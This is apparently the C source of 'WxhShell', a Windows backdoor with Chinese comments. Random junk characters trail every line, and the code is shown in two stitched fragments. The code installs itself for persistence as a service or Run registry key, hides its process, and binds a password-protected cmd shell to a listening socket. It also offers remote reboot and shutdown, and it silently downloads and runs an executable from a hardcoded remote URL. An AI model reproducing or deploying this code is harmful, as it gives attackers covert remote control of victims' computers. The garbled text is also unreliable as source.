    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dq^vK  
    else { tZan1C%p>  
    closesocket(wsh); )SyU  
    ExitThread(0); M<'He.n  
    } @^Yr=d ba  
    break; 9A ?)n<3d  
    } \h5!u1{L  
  // 关机  4}F~h  
  case 'd': { =Hx]K8N)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HMmB90P`  
    if(Boot(SHUTDOWN)) 6|Xe ],u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]-cSTtO  
    else { MIdViS.g  
    closesocket(wsh); P(cy@P,D  
    ExitThread(0); cG,zO-H  
    } ~|( eh9  
    break; qylI/,y{  
    } ZaF9Q%  
  // 获取shell R*DQLBWc  
  case 's': { D|$Fw5!^k6  
    CmdShell(wsh); wEC,Mbn  
    closesocket(wsh); a!B"WNb+  
    ExitThread(0); q![`3m-d.  
    break; OXI>`$we  
  } :*Y2na)qQ  
  // 退出 Go(Td++HS  
  case 'x': { *" +u^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c3.;o  
    CloseIt(wsh); H{hzw&dZ<P  
    break; Oi<yT"7  
    } F}?4h Dt  
  // 离开 %Ni"*\  
  case 'q': { UCJx{7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 45rG\$%#  
    closesocket(wsh); ><I{R|bC  
    WSACleanup(); Raf(m,o(  
    exit(1); hkMVA  
    break; <QD[hO^/  
        } b8E7/~<z3  
  } )+|Y;zC9  
  } ty'/i!/\  
sLUOs]cj  
  // 提示信息 O L 9(~p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |-L7qZu%  
} wf`A&P5tF  
  } a |#TnSk  
&f2:aT)  
  return; FLX n%/  
} aa" 3 Io  
+lxjuEiae  
// shell模块句柄 OY8P  
int CmdShell(SOCKET sock) U7Oa 13Qz  
{  ?tA%A  
STARTUPINFO si; V-eRGSx  
ZeroMemory(&si,sizeof(si)); G.`},c;A-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SP/'4m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :$0yp`k  
PROCESS_INFORMATION ProcessInfo; :w+vi 7l$  
char cmdline[]="cmd"; "c\WZB`|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LI].*n/v  
  return 0; v3]5`&3~  
} *2pf> UzL  
Ft?eqDS1  
// 自身启动模式 c0Pj})-  
int StartFromService(void) f;AI4:#I  
{ YmOj.Q&  
typedef struct 5z =}o/?  
{ YxrMr9>l1  
  DWORD ExitStatus; *jvP4Nz)k  
  DWORD PebBaseAddress; KA{&NFx  
  DWORD AffinityMask; D|ra ;d  
  DWORD BasePriority; (;&}\OX6nm  
  ULONG UniqueProcessId; wl&T9O;?  
  ULONG InheritedFromUniqueProcessId; fp*6Dv_  
}   PROCESS_BASIC_INFORMATION; No)0|C8:  
bv VkN  
PROCNTQSIP NtQueryInformationProcess; {* P[dyu  
-+Ot' ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uVKe?~RC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #:By/9}-  
eh> |m> JY  
  HANDLE             hProcess; L_aqr?Q  
  PROCESS_BASIC_INFORMATION pbi; J e,o(:  
'&e8;X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a"X h  
  if(NULL == hInst ) return 0; qS9<_if2  
z~3GgR"1d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J]#rh5um  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `a83bF35  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j#~~_VA~  
]A5Y/dd  
  if (!NtQueryInformationProcess) return 0; @6|<c  
v0VQ4>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2Z%n "z68  
  if(!hProcess) return 0; , ^K.J29  
Vjs'|%P7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /]^Y\U^  
/,\U*'-  
  CloseHandle(hProcess); "w%:5~u 9  
w%s];EE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v/9DD%An  
if(hProcess==NULL) return 0; DH%PkGn  
q&J5(9]O|L  
HMODULE hMod; 9 :Oz-b  
char procName[255]; VnVBA-#r|  
unsigned long cbNeeded; ]XbMqHGS  
,h*N9}xYTi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iiQ q112`  
u*): D~A  
  CloseHandle(hProcess); ZnRT$ l O  
"+T`{$Z=C  
if(strstr(procName,"services")) return 1; // 以服务启动 ge1. HG  
Q"C*j'n   
  return 0; // 注册表启动 YI ?P@y  
} |Z94@uB  
g(9*!g  
// 主模块 )ds]fvMW]N  
int StartWxhshell(LPSTR lpCmdLine) Lc5zu7ncg  
{ `(h^z>%  
  SOCKET wsl; ^!\AT!OT  
BOOL val=TRUE; ((+XzV>  
  int port=0; ` PQQU~^  
  struct sockaddr_in door; S'8+jY  
mjWU0.  
  if(wscfg.ws_autoins) Install(); x<M::")5!V  
d\nXK#)Q  
port=atoi(lpCmdLine); 7)V"E-6h  
~qj(&[U{c\  
if(port<=0) port=wscfg.ws_port; Hp04apM:  
,wes*  
  WSADATA data; G@#lf@M]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5RN!"YLI3  
Ba8=nGa4KY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :\P@c(c{^C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OyVP_Yx,V  
  door.sin_family = AF_INET; T2S_> #."l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _*6]4\;  
  door.sin_port = htons(port); 6T'UWh0S  
O&BvWik  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :>{!%-1Z  
closesocket(wsl); Hz GwO^tbK  
return 1; =Q40]>bpx  
} G |KA!q  
k\ .9iI'6  
  if(listen(wsl,2) == INVALID_SOCKET) { DOJydYds  
closesocket(wsl); ?&#LmeZ}K  
return 1; F-wAQ:  
} 88v8lt;R  
  Wxhshell(wsl); 9GH5  
  WSACleanup(); a%B&F|u  
5m 0\ls\  
return 0; ?-<lIF Fh  
hg" i;I  
} L? DlR hu  
K<*6E@+i  
// 以NT服务方式启动 }x`Cnn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v#qdq!64  
{ 0fXMY-$I  
DWORD   status = 0; ?h&XIM(  
  DWORD   specificError = 0xfffffff; JkJ @bh Eu  
AE}cHBwZE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g~y0,0'j1\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e9{0hw7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ESRj<p%W  
  serviceStatus.dwWin32ExitCode     = 0; U_"!\lI_yg  
  serviceStatus.dwServiceSpecificExitCode = 0; =WT$\KYGv  
  serviceStatus.dwCheckPoint       = 0; c EYHB1*cT  
  serviceStatus.dwWaitHint       = 0; \uOM,98xS  
bwXeEA@{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ][S q^5`  
  if (hServiceStatusHandle==0) return; tJ6@Ot  
_M`ZF*o=c  
status = GetLastError(); ^7spXfSAd  
  if (status!=NO_ERROR) <3{MS],<<  
{ jXE:aWQht  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T06(Q[)  
    serviceStatus.dwCheckPoint       = 0; Mqd'XU0L  
    serviceStatus.dwWaitHint       = 0; -{cmi,oy  
    serviceStatus.dwWin32ExitCode     = status; 7?=^0?a  
    serviceStatus.dwServiceSpecificExitCode = specificError; gQ{ #C'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 89LD:+p/  
    return; =:s`C,l.4  
  } }CBQdH&g;  
8<C*D".T$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |&=-Nm  
  serviceStatus.dwCheckPoint       = 0; tr<f ii 3<  
  serviceStatus.dwWaitHint       = 0; [_'A(.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QgqJ #  
} "sN%S's  
G{} 2"/   
// 处理NT服务事件,比如:启动、停止 N@c G jpQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4[$:KGh3  
{ 9S|sTf  
switch(fdwControl) 5)%ahmY  
{ H]/ ~ #a  
case SERVICE_CONTROL_STOP: 3 ,>M-F  
  serviceStatus.dwWin32ExitCode = 0; xx`YBn~"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * hs&^G  
  serviceStatus.dwCheckPoint   = 0; [;z\bV<S  
  serviceStatus.dwWaitHint     = 0; /^.S nqk  
  { jU&m*0nL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4?+K `  
  } = J;I5:J  
  return; L\2"1%8Wj  
case SERVICE_CONTROL_PAUSE: 'Bue*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =-si| 1Z  
  break; ynIC (t  
case SERVICE_CONTROL_CONTINUE: $t;:"i>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 72s qt5C]  
  break; Nu"v .]Y2  
case SERVICE_CONTROL_INTERROGATE: 4,sE{%vb  
  break; i=Qy?aU?  
}; WoZU} T-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#KZZ lbx  
} eC!=4_lx)  
kg^0%-F  
// 标准应用程序主函数 >.Gmu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [K3 te  
{ <_xG)vwh.  
k77IXT_7u  
// 获取操作系统版本 C.S BJ  
OsIsNt=GetOsVer(); EVqW(|Xg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UT\4Xk<  
WA (x]""  
  // 从命令行安装 I<D#   
  if(strpbrk(lpCmdLine,"iI")) Install(); 1cK'B<5">]  
 +|LM"  
  // 下载执行文件 6'^E ],:b  
if(wscfg.ws_downexe) { DPT6]pl"y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K KB+o)*W  
  WinExec(wscfg.ws_filenam,SW_HIDE); UDG1F_&h  
} ]<^2B?}  
#'Y lO -C  
if(!OsIsNt) { |HmY`w6*z  
// 如果时win9x,隐藏进程并且设置为注册表启动 "UTW(~D'  
HideProc(); V5K/)\#  
StartWxhshell(lpCmdLine); \78E>(`'  
} w,p'$WC*  
else %nZ:)J>kz  
  if(StartFromService()) # sw4)*v  
  // 以服务方式启动 <<0sv9qw1  
  StartServiceCtrlDispatcher(DispatchTable); v#Rh:#7O%U  
else gq?7O<  
  // 普通方式启动 -V}oFxk]q  
  StartWxhshell(lpCmdLine); ^bv^&V&IB  
R/oi6EKv  
return 0; G(7%*@SX  
} Cy[G7A%  
EHC7b^|3}  
}nlS&gew^  
@R5^J{T  
=========================================== t+U.4mS-  
F^.A~{&L  
76tn`4NIP  
OIPY,cj~  
|6 Q5bV  
NBPP?\1  
" MDlH[PJ@i  
,>-jZtm  
#include <stdio.h> ..JRtuM-v  
#include <string.h> 9ngxkOGx  
#include <windows.h>  >:-e  
#include <winsock2.h> 4k225~GQ:C  
#include <winsvc.h> {32m&a  
#include <urlmon.h> / dJz?0  
qnp}#BZ  
#pragma comment (lib, "Ws2_32.lib") I!L J&>  
#pragma comment (lib, "urlmon.lib") +VkL?J  
TaRPMKk  
#define MAX_USER   100 // 最大客户端连接数 {'M<dI$  
#define BUF_SOCK   200 // sock buffer EIRDH'[L  
#define KEY_BUFF   255 // 输入 buffer /wLBmh1"  
7W)W9=&BT  
#define REBOOT     0   // 重启 TLsF c^X  
#define SHUTDOWN   1   // 关机 f8;?WSGyD2  
D|ceZ <9x  
#define DEF_PORT   5000 // 监听端口 h[>pC"s?K  
b&P)J|Fe  
#define REG_LEN     16   // 注册表键长度 m54>}  
#define SVC_LEN     80   // NT服务名长度 vxZ'-&;t  
&x1A {j_  
// 从dll定义API p-i Fe\+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jC'h54 ,Mr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xqX3uq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $eFMn$o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RB %+|@c  
F%6wdM W  
// wxhshell配置信息 #uU(G\^T  
struct WSCFG { (vG*)a  
  int ws_port;         // 监听端口 7Y8~ ")f  
  char ws_passstr[REG_LEN]; // 口令 v^JzbO~|gj  
  int ws_autoins;       // 安装标记, 1=yes 0=no I(*3n"  
  char ws_regname[REG_LEN]; // 注册表键名 q TJ0}F  
  char ws_svcname[REG_LEN]; // 服务名 `PbY(6CF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a<&K^M&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m8L *LB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m#UQ,EM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )jOa!E"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4;AF\De  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o4" [{LyT  
xS1|t};  
}; )Jjp^U3Ub  
Z9DfwWI2nu  
// default Wxhshell configuration 7*PBJt\  
struct WSCFG wscfg={DEF_PORT, M*0^<e~]F  
    "xuhuanlingzhe", v/ N[)<  
    1, 9I/l+IS"X  
    "Wxhshell", *,z/q6  
    "Wxhshell", 486\a  
            "WxhShell Service", jQ V[zcM  
    "Wrsky Windows CmdShell Service", _-C/s p^   
    "Please Input Your Password: ", rC!O}(4t%$  
  1, ym|7i9  
  "http://www.wrsky.com/wxhshell.exe", ee? d ?:L  
  "Wxhshell.exe" ZR\N~.  
    }; x:Q\pZ  
tM]Gu?6  
// 消息定义模块 4MPy}yT*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *>a=ku:?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "<=4]Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Ol:ni1  
char *msg_ws_ext="\n\rExit."; )8C`EPe  
char *msg_ws_end="\n\rQuit."; >UCg3uFj  
char *msg_ws_boot="\n\rReboot..."; ?XY'<]o E  
char *msg_ws_poff="\n\rShutdown..."; 9jjeZc'  
char *msg_ws_down="\n\rSave to "; JH\:9B+:L  
z0rYzn?MR  
char *msg_ws_err="\n\rErr!"; #r#[&b  
char *msg_ws_ok="\n\rOK!"; _O}m0c   
#ELe W3 S}  
char ExeFile[MAX_PATH]; HX2u{2$  
int nUser = 0; {Phq39g  
HANDLE handles[MAX_USER]; t}k:wzZ@  
int OsIsNt; S9!KI)  
:"Xnu%1  
SERVICE_STATUS       serviceStatus; uaO.7QSwN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uZL]mwkj]  
W!<7OA g$  
// 函数声明 x\Q}fk?{t  
int Install(void); d3q%[[@  
int Uninstall(void); gbzBweWF  
int DownloadFile(char *sURL, SOCKET wsh); lC#wh2B6  
int Boot(int flag); dXxf{|gk>  
void HideProc(void); J+t51B(a  
int GetOsVer(void); 4"@;.C""  
int Wxhshell(SOCKET wsl); MU$tX  
void TalkWithClient(void *cs); ULt5Zi  
int CmdShell(SOCKET sock); -u@ ^P7  
int StartFromService(void); <\epj=OclV  
int StartWxhshell(LPSTR lpCmdLine); =W7-;&  
i6HRG\9nU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CaZc{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KfjWZ4{v  
kqKT>xo4EZ  
// 数据结构和表定义 32K& IfV  
SERVICE_TABLE_ENTRY DispatchTable[] = !M8_PC*a  
{ YA pC|R,^  
{wscfg.ws_svcname, NTServiceMain}, "9P @bA  
{NULL, NULL} 4tkT\.  
}; PR"x&JG@  
n5C,Z!)z  
// 自我安装 UdrgUqq)  
int Install(void) %j^QK>%  
{ @ovaOX  
  char svExeFile[MAX_PATH]; .hH_1Mo8  
  HKEY key; t)j$lmQn  
  strcpy(svExeFile,ExeFile); xy:Mb =r  
b\JU%89  
// 如果是win9x系统,修改注册表设为自启动 h F+aL  
if(!OsIsNt) { R{c~jjd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /%;J1 {O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h rSH)LbJ  
  RegCloseKey(key); }~W/NP_F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZY8.p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j-BNHX  
  RegCloseKey(key); =-Hhm($n  
  return 0; HsTY*^V  
    } |?J57(  
  } 60|PVsmDm  
} w>*Jgc@A*  
else { %P~;>4i,  
v_Vw!u  
// 如果是NT以上系统,安装为系统服务 wL~A L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W#U|;@"  
if (schSCManager!=0) zlP{1z;nV  
{ zwC ,,U  
  SC_HANDLE schService = CreateService B Evt{q4  
  ( 3U^Vz9LW  
  schSCManager, d8;kM`U  
  wscfg.ws_svcname, X~& 8^?  
  wscfg.ws_svcdisp, gw"SKp!]  
  SERVICE_ALL_ACCESS, .'o=J`|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !4Zy$69R  
  SERVICE_AUTO_START, ! $mY.uu  
  SERVICE_ERROR_NORMAL, _*UI}JtlS  
  svExeFile, c/88|k  
  NULL, "0%K3d+  
  NULL, U;iCH  
  NULL, \dU.#^ryp  
  NULL, m lc8q s  
  NULL ??aO3Vm{  
  ); s:l H4B  
  if (schService!=0) ~x(|'`  
  { (z8ZCyq7r[  
  CloseServiceHandle(schService); KWDH 35  
  CloseServiceHandle(schSCManager); P !f{U;B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rD21:1s  
  strcat(svExeFile,wscfg.ws_svcname); d#+Ne f5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r'nPP6`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R\ 8[6H  
  RegCloseKey(key); Ns YEBT7f  
  return 0; s@$0!8sxm  
    } Zgh~7Z/  
  } Sr Nc  
  CloseServiceHandle(schSCManager); u(3 uZ:  
} kwaZn~  
} p,k1*|j  
F|6"-*[RS  
return 1; I}u\ov_Su  
} >"1EN5W  
DcFY b|p  
// 自我卸载 #Tzs9Bkaca  
int Uninstall(void) M/Z$?nd_H  
{ Hd;NvNS  
  HKEY key; 4Ia'Yr  
C3^3<  
if(!OsIsNt) { 6X9$T11Vc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @TW:6v`  
  RegDeleteValue(key,wscfg.ws_regname); zQ:nL*X'Z"  
  RegCloseKey(key); H (K!{k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oto8?4[n  
  RegDeleteValue(key,wscfg.ws_regname); x`+M#A()/  
  RegCloseKey(key); nLAwo3  
  return 0; [mwqCW&  
  } (rJ-S"^u  
}  nm`( ;<W  
} LiFR7\z  
else { n~ $S  
Zs}h>$E5_B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GQ?FUFuIoW  
if (schSCManager!=0) TD floDxA  
{ v -)<nox  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uu+ibVM$  
  if (schService!=0) |FT.x9e-  
  { Zjn1,\(t~u  
  if(DeleteService(schService)!=0) { <,p$eQ)T%  
  CloseServiceHandle(schService); ~)$R'=  
  CloseServiceHandle(schSCManager); GGwwdB\x'  
  return 0; Ux?G:LLz  
  } 0Y* "RbG  
  CloseServiceHandle(schService); K!(WcoA&2i  
  } h*KDZ+{)  
  CloseServiceHandle(schSCManager); )CoFRqz<h  
} ubZuvWZ  
} =>>Dnp  
`0W"[BY  
return 1; xS/=9l/G  
}  w<!&%  
D->E&#  
// 从指定url下载文件 jQz^)8)B  
int DownloadFile(char *sURL, SOCKET wsh) ;W+1 H !  
{ 1$# r)S[*  
  HRESULT hr; \Qv:7;?  
char seps[]= "/";  WSeiW  
char *token; B^/Cx  
char *file; $B>L_~cS  
char myURL[MAX_PATH]; Dz.kJ_"Ro  
char myFILE[MAX_PATH]; 8  rE`  
9\Rk(dd  
strcpy(myURL,sURL); K; hP0J  
  token=strtok(myURL,seps); *3RD\.jPX  
  while(token!=NULL) H.n|zGQTB  
  { 2y$DTMu  
    file=token; xzMpTZQ  
  token=strtok(NULL,seps); nWYfe-zQxg  
  } >>R)?24,<  
V^.Z&7+E`_  
GetCurrentDirectory(MAX_PATH,myFILE); t':*~b{V@7  
strcat(myFILE, "\\"); N8r+Q%ov  
strcat(myFILE, file); 26zif  
  send(wsh,myFILE,strlen(myFILE),0); YP"%z6N@v  
send(wsh,"...",3,0); Lrx"Hn{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eon(C|S7eK  
  if(hr==S_OK) `+KLE(]vyH  
return 0; |`wJ {-  
else ;SA+| ,  
return 1; RvVF^~u  
k ;vOPcw  
} w+%p4VkA<r  
7S&O {Q7)  
// 系统电源模块 =5pwNi_S  
int Boot(int flag) }LIf]Y K  
{ RKs_k`N0  
  HANDLE hToken; ;rCCkA6  
  TOKEN_PRIVILEGES tkp; blbzh';0}  
hA~5,K0b  
  if(OsIsNt) { ~fgS"F^7n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u*Y!=IT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3@;24X  
    tkp.PrivilegeCount = 1; 5oD%~Fk l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H:1F=$0I9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N~yGtnW  
if(flag==REBOOT) { -cXVkH{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tkf4`Gxd  
  return 0; P/9|mYmsq  
} 79lG~BGE  
else { t&bE/i_T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'aZAWY d  
  return 0; Ce3  
} {K=[Fu=  
  } )i.\q   
  else { <8Q?kj  
if(flag==REBOOT) { 7XIG ne%v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @(tiPV  
  return 0; oP<E)  
} v[ y|E;B  
else { 5Ul=Nv]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W.b?~  
  return 0; vC5 (  
} Cd'SPaR  
} .Wci@5:3  
5HbPS%^.  
return 1; oakm{I|k}  
} 1Yv#4t  
b{JxTT}03  
// win9x进程隐藏模块 ?K?v64[  
void HideProc(void) 3D7phq>.q  
{ J 9k~cz  
3WdANR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =:'a)o  
  if ( hKernel != NULL ) nxYp9,c"  
  { D8_-Dvp7H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2KmPZ&r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ) /<\|mR  
    FreeLibrary(hKernel); *(@[E  
  } b<rJ@1qtJ  
_\xd]~ELj  
return; = l9H]`T/  
} h|'T'l&z  
# OQ(oyT  
// 获取操作系统版本 HPR*:t  
int GetOsVer(void) =i)k@w_(x  
{ FmRa]31W  
  OSVERSIONINFO winfo; lN^} qg><  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [HhdeLOX  
  GetVersionEx(&winfo); D Psf]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6|:]2S  
  return 1; mI~k@!3  
  else lTv_%hUp  
  return 0; nMHs5'_y  
} d6k`=Hlg  
wMB<^zZmv  
// 客户端句柄模块 sj@'C@oK  
int Wxhshell(SOCKET wsl) L$+ap~ld  
{ q y8=4~40  
  SOCKET wsh; .<`Rq'  
  struct sockaddr_in client; _,4f z(  
  DWORD myID; l0$ +)FKd  
DNaU mz  
  while(nUser<MAX_USER) =p)Wxk  
{ 7MT[fA8^  
  int nSize=sizeof(client); 6!n%SUt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yVM 1W"Q  
  if(wsh==INVALID_SOCKET) return 1; s],+]<qX  
daZY;_{"o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =kvYE,,g_  
if(handles[nUser]==0) 8Mq] V v  
  closesocket(wsh); LPk85E  
else 3RP}lb  
  nUser++; b='YCa  
  } _6 ~/`_(KP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 89'XOXl&1  
*qE[Y0Cd  
  return 0; xla9:*pPn  
} )nS;]7pB@  
bd2"k;H<o  
// 关闭 socket /tf}8d  
void CloseIt(SOCKET wsh) f,Sybf/uHh  
{ zRJopcE<  
closesocket(wsh); s Hu~;)  
nUser--; RCq_FY  
ExitThread(0); @&]j[if (s  
} xF_ Y7rw1w  
$IQ  !g  
// 客户端请求句柄 3L4lk8Dd  
void TalkWithClient(void *cs) $N=A,S  
{ ![iAALPNl  
;ePmN|rq;  
  SOCKET wsh=(SOCKET)cs; cV5Lp4wY?  
  char pwd[SVC_LEN]; t\]CdH`+  
  char cmd[KEY_BUFF]; o=2y`Eq  
char chr[1]; xgtdmv%  
int i,j; _~DFZt@T  
% j7lLSusX  
  while (nUser < MAX_USER) { %9=^#e+pE  
~OEP)c\k  
if(wscfg.ws_passstr) { SN'LUwaMp!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~'HwNzDQc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0bpl3Fh.v  
  //ZeroMemory(pwd,KEY_BUFF); '@Y@H,  
      i=0; gRKmfJ*u  
  while(i<SVC_LEN) { >"S'R9t  
M,PZ|=V6a  
  // 设置超时 t_WNEZW7f  
  fd_set FdRead; 56AaviEC  
  struct timeval TimeOut; ){")RrD(  
  FD_ZERO(&FdRead); VWmZ|9Ri  
  FD_SET(wsh,&FdRead); (6?pBdZ  
  TimeOut.tv_sec=8; @B~/0 9  
  TimeOut.tv_usec=0; w'.ny<Pe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y'Jb@l`$-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rsvZi1N4w$  
t@!X1?`w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +tOBt("5/  
  pwd=chr[0]; N Q{ X IN~  
  if(chr[0]==0xd || chr[0]==0xa) { nKh._bvfX  
  pwd=0; |jaUVE_2[  
  break; {`~{%2ayq7  
  } dLal 15Pb  
  i++; >NW /0'/  
    } wI}5[m  
n4ce)N@  
  // 如果是非法用户,关闭 socket ALwkX"AN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v)+wr[Qs  
} 2 ,;+)  
o 1#XM/Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JQE^ bcr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]{nFB3vtB  
co<){5zOT  
while(1) { aM3%Mx?w  
E[6JHBE*r  
  ZeroMemory(cmd,KEY_BUFF); Z%XBuq:BY  
fh )QX  
      // 自动支持客户端 telnet标准   5}~*,_J2Z  
  j=0; i,FG?\x@  
  while(j<KEY_BUFF) { <Ky\ ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U{LDtn%@h6  
  cmd[j]=chr[0]; 7J,W#Ql)5  
  if(chr[0]==0xa || chr[0]==0xd) { rr*",a"}m  
  cmd[j]=0; 23y7l=.b/  
  break; \%E Zg  
  } iX.=8 ~3  
  j++; RV^2[Gdi  
    } vP3Fb;  
b UAjt>+  
